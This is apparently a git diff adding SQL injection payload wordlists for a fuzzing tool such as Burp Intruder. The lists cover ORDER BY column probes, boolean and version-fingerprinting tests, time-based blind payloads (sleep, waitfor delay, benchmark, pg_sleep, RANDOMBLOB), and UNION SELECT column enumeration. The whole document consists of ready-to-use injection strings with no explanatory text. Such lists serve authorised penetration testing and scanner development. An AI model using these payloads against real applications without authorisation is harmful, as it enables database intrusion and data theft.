ORDER BY 25--
|
||||
ORDER BY 26--
|
||||
ORDER BY 27--
|
||||
ORDER BY 28--
|
||||
ORDER BY 29--
|
||||
ORDER BY 30--
|
||||
ORDER BY 31337--
|
||||
ORDER BY 1#
|
||||
ORDER BY 2#
|
||||
ORDER BY 3#
|
||||
ORDER BY 4#
|
||||
ORDER BY 5#
|
||||
ORDER BY 6#
|
||||
ORDER BY 7#
|
||||
ORDER BY 8#
|
||||
ORDER BY 9#
|
||||
ORDER BY 10#
|
||||
ORDER BY 11#
|
||||
ORDER BY 12#
|
||||
ORDER BY 13#
|
||||
ORDER BY 14#
|
||||
ORDER BY 15#
|
||||
ORDER BY 16#
|
||||
ORDER BY 17#
|
||||
ORDER BY 18#
|
||||
ORDER BY 19#
|
||||
ORDER BY 20#
|
||||
ORDER BY 21#
|
||||
ORDER BY 22#
|
||||
ORDER BY 23#
|
||||
ORDER BY 24#
|
||||
ORDER BY 25#
|
||||
ORDER BY 26#
|
||||
ORDER BY 27#
|
||||
ORDER BY 28#
|
||||
ORDER BY 29#
|
||||
ORDER BY 30#
|
||||
ORDER BY 31337#
|
||||
ORDER BY 1
|
||||
ORDER BY 2
|
||||
ORDER BY 3
|
||||
ORDER BY 4
|
||||
ORDER BY 5
|
||||
ORDER BY 6
|
||||
ORDER BY 7
|
||||
ORDER BY 8
|
||||
ORDER BY 9
|
||||
ORDER BY 10
|
||||
ORDER BY 11
|
||||
ORDER BY 12
|
||||
ORDER BY 13
|
||||
ORDER BY 14
|
||||
ORDER BY 15
|
||||
ORDER BY 16
|
||||
ORDER BY 17
|
||||
ORDER BY 18
|
||||
ORDER BY 19
|
||||
ORDER BY 20
|
||||
ORDER BY 21
|
||||
ORDER BY 22
|
||||
ORDER BY 23
|
||||
ORDER BY 24
|
||||
ORDER BY 25
|
||||
ORDER BY 26
|
||||
ORDER BY 27
|
||||
ORDER BY 28
|
||||
ORDER BY 29
|
||||
ORDER BY 30
|
||||
ORDER BY 31337
|
||||
RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
|
||||
RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
|
||||
IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl--
|
||||
IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl--
|
||||
%' AND 8310=8310 AND '%'='
|
||||
%' AND 8310=8311 AND '%'='
|
||||
and (select substring(@@version,1,1))='X'
|
||||
and (select substring(@@version,1,1))='M'
|
||||
and (select substring(@@version,2,1))='i'
|
||||
and (select substring(@@version,2,1))='y'
|
||||
and (select substring(@@version,3,1))='c'
|
||||
and (select substring(@@version,3,1))='S'
|
||||
and (select substring(@@version,3,1))='X'
|
||||
95
FIX_SQL Injection/Intruder/Generic_TimeBased.txt
Normal file
95
FIX_SQL Injection/Intruder/Generic_TimeBased.txt
Normal file
@@ -0,0 +1,95 @@
|
||||
# from wapiti
|
||||
sleep(5)#
|
||||
1 or sleep(5)#
|
||||
" or sleep(5)#
|
||||
' or sleep(5)#
|
||||
" or sleep(5)="
|
||||
' or sleep(5)='
|
||||
1) or sleep(5)#
|
||||
") or sleep(5)="
|
||||
') or sleep(5)='
|
||||
1)) or sleep(5)#
|
||||
")) or sleep(5)="
|
||||
')) or sleep(5)='
|
||||
;waitfor delay '0:0:5'--
|
||||
);waitfor delay '0:0:5'--
|
||||
';waitfor delay '0:0:5'--
|
||||
";waitfor delay '0:0:5'--
|
||||
');waitfor delay '0:0:5'--
|
||||
");waitfor delay '0:0:5'--
|
||||
));waitfor delay '0:0:5'--
|
||||
'));waitfor delay '0:0:5'--
|
||||
"));waitfor delay '0:0:5'--
|
||||
benchmark(10000000,MD5(1))#
|
||||
1 or benchmark(10000000,MD5(1))#
|
||||
" or benchmark(10000000,MD5(1))#
|
||||
' or benchmark(10000000,MD5(1))#
|
||||
1) or benchmark(10000000,MD5(1))#
|
||||
") or benchmark(10000000,MD5(1))#
|
||||
') or benchmark(10000000,MD5(1))#
|
||||
1)) or benchmark(10000000,MD5(1))#
|
||||
")) or benchmark(10000000,MD5(1))#
|
||||
')) or benchmark(10000000,MD5(1))#
|
||||
pg_sleep(5)--
|
||||
1 or pg_sleep(5)--
|
||||
" or pg_sleep(5)--
|
||||
' or pg_sleep(5)--
|
||||
1) or pg_sleep(5)--
|
||||
") or pg_sleep(5)--
|
||||
') or pg_sleep(5)--
|
||||
1)) or pg_sleep(5)--
|
||||
")) or pg_sleep(5)--
|
||||
')) or pg_sleep(5)--
|
||||
AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe
|
||||
AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'='
|
||||
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)
|
||||
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)--
|
||||
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)#
|
||||
SLEEP(5)#
|
||||
SLEEP(5)--
|
||||
SLEEP(5)="
|
||||
SLEEP(5)='
|
||||
or SLEEP(5)
|
||||
or SLEEP(5)#
|
||||
or SLEEP(5)--
|
||||
or SLEEP(5)="
|
||||
or SLEEP(5)='
|
||||
waitfor delay '00:00:05'
|
||||
waitfor delay '00:00:05'--
|
||||
waitfor delay '00:00:05'#
|
||||
benchmark(50000000,MD5(1))
|
||||
benchmark(50000000,MD5(1))--
|
||||
benchmark(50000000,MD5(1))#
|
||||
or benchmark(50000000,MD5(1))
|
||||
or benchmark(50000000,MD5(1))--
|
||||
or benchmark(50000000,MD5(1))#
|
||||
pg_SLEEP(5)
|
||||
pg_SLEEP(5)--
|
||||
pg_SLEEP(5)#
|
||||
or pg_SLEEP(5)
|
||||
or pg_SLEEP(5)--
|
||||
or pg_SLEEP(5)#
|
||||
'\"
|
||||
AnD SLEEP(5)
|
||||
AnD SLEEP(5)--
|
||||
AnD SLEEP(5)#
|
||||
&&SLEEP(5)
|
||||
&&SLEEP(5)--
|
||||
&&SLEEP(5)#
|
||||
' AnD SLEEP(5) ANd '1
|
||||
'&&SLEEP(5)&&'1
|
||||
ORDER BY SLEEP(5)
|
||||
ORDER BY SLEEP(5)--
|
||||
ORDER BY SLEEP(5)#
|
||||
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)
|
||||
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)#
|
||||
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)--
|
||||
+benchmark(3200,SHA1(1))+'
|
||||
+ SLEEP(10) + '
|
||||
RANDOMBLOB(500000000/2)
|
||||
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
|
||||
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
|
||||
RANDOMBLOB(1000000000/2)
|
||||
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
424
FIX_SQL Injection/Intruder/Generic_UnionSelect.txt
Normal file
424
FIX_SQL Injection/Intruder/Generic_UnionSelect.txt
Normal file
@@ -0,0 +1,424 @@
|
||||
ORDER BY SLEEP(5)
|
||||
ORDER BY 1,SLEEP(5)
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'))
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
|
||||
ORDER BY SLEEP(5)#
|
||||
ORDER BY 1,SLEEP(5)#
|
||||
ORDER BY 1,SLEEP(5),3#
|
||||
ORDER BY 1,SLEEP(5),3,4#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
|
||||
ORDER BY SLEEP(5)--
|
||||
ORDER BY 1,SLEEP(5)--
|
||||
ORDER BY 1,SLEEP(5),3--
|
||||
ORDER BY 1,SLEEP(5),3,4--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
|
||||
ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
|
||||
UNION ALL SELECT 1
|
||||
UNION ALL SELECT 1,2
|
||||
UNION ALL SELECT 1,2,3
|
||||
UNION ALL SELECT 1,2,3,4
|
||||
UNION ALL SELECT 1,2,3,4,5
|
||||
UNION ALL SELECT 1,2,3,4,5,6
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
|
||||
UNION ALL SELECT 1#
|
||||
UNION ALL SELECT 1,2#
|
||||
UNION ALL SELECT 1,2,3#
|
||||
UNION ALL SELECT 1,2,3,4#
|
||||
UNION ALL SELECT 1,2,3,4,5#
|
||||
UNION ALL SELECT 1,2,3,4,5,6#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
|
||||
UNION ALL SELECT 1--
|
||||
UNION ALL SELECT 1,2--
|
||||
UNION ALL SELECT 1,2,3--
|
||||
UNION ALL SELECT 1,2,3,4--
|
||||
UNION ALL SELECT 1,2,3,4,5--
|
||||
UNION ALL SELECT 1,2,3,4,5,6--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
|
||||
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
|
||||
UNION SELECT @@VERSION,SLEEP(5),3
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),4
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17
|
||||
